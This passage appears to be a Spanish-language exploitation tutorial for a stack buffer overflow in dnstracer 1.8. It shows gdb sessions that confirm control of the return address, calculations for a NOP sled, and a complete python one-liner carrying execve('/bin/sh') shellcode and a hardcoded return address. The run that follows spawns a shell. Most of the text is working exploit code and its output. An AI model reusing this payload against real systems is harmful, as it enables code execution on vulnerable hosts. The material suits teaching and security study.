

Después de correr el programa con esa entrada y de detener la ejecución inmediatamente después del terminar strcpy observamos que en la dirección de retorno existe un 0x42424242, esto indica que se realizaron bien los cálculos y que mediante ese offset podremos cambiar la dirección de retorno.

```

1528     argv+=optind;
1529
1530     if (argv[0]==NULL) usage();
1531
1532     // check for a trailing dot
1533     strcpy(argv0,argv[0]);
> 1534     if (argv0[strlen(argv0)-1]!='.') argv0[strlen(argv0)-1]=0;
1535
1536     printf("Tracing to %s[%s] via %s, maximum of %d retries\n",
1537           argv0,rr_types[global_querytype],server_name,global_retries);
1538
1539     srandom(time(NULL));
1540
1541     {
1542         struct hostent *h;
1543         if (((h=gethostbyname2(server_name,AF_INET6))==NULL) &&
1544             ((h=gethostbyname2(server_name,AF_INET))==NULL)) {

```

```

child process 2991 In: main
(gdb) x/2x $ebp
0xbffef18:    0x41414141    0x42424242
(gdb)

```

A continuación debemos descubrir en qué dirección de la pila se encuentra el inicio de la cadena que inyectamos, para esto ejecutaremos la siguiente instrucción.

```

(gdb) x/1000x $esp

```

Esta instrucción mostrara 1000 bytes de la pila, y nos permitirá determinar la dirección de inicio de nuestra cadena, el indicador de esta será una sucesión de bytes con el código 41.

```

0xbfffeaf0:    0xb7e31c13    0xb7fde5dc    0x00001e3c    0x41ffeff4
0xbfffeb00:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffeb10:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffeb20:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffeb30:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffeb40:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffeb50:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffeb60:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffeb70:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffeb80:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffeb90:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffeba0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffebb0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffebc0:    0x41414141    0x41414141    0x41414141    0x41414141
---Type <return> to continue, or q <return> to quit---

```

Con esto ya sabremos qué valor colocar en la dirección de memoria que almacena los 0x42424242(la dirección de retorno).

Para asegurar que se ejecute correctamente nuestra shell recorreremos un poco el valor que inyectaremos en la dirección de retorno.

Primero pondremos un valor arbitrario para tener una ventana de error, es decir colocaremos una seria de nops(\x90). El valor será 600.

Después irá nuestra shell, está tiene un tamaño de 49 y al final complementaremos con nops y con la dirección de retorno.

$600 + 49 + y = 1053$
 $y = 404$

Con el cálculo anterior determinaremos los valores exactos para que nuestra inyección funcione, ahora solo queda poner una dirección de retorno más baja que la del inicio de la cadena que inyectamos, es decir, $xdir < 0xbfffeb00$. Esta dirección también debe estar dentro de los primeros 600 nops.

La cadena a inyectar será la siguiente:

```
python -c 'print "\x90"*600 +  
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4  
e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x  
41\x4b\x4b\x4b\x4b" + "\x90"*404 + "\xc0\xec\xff\xbf"'
```

Después de inyectarla nos devuelve una shell.

```
sm@ubuntu:~/Documents/dnstracer-1.8$ ./dnstracer $(python -c 'print "\x90"*600 + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x4b\x4b\x4b\x4b" + "\x90"*404 + "\xc0\xec\xff\xbf"')
Tracing to .....
.....
F F
  V
  /bin/shJAAAAKKKK.....
.....[a] via 127.0.0.1, maximum of 3 retries
127.0.0.1 (127.0.0.1) * * *
$ id
uid=1000(sm) gid=1000(sm) groups=1000(sm),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ pwd
/home/sm/Documents/dnstracer-1.8
$
```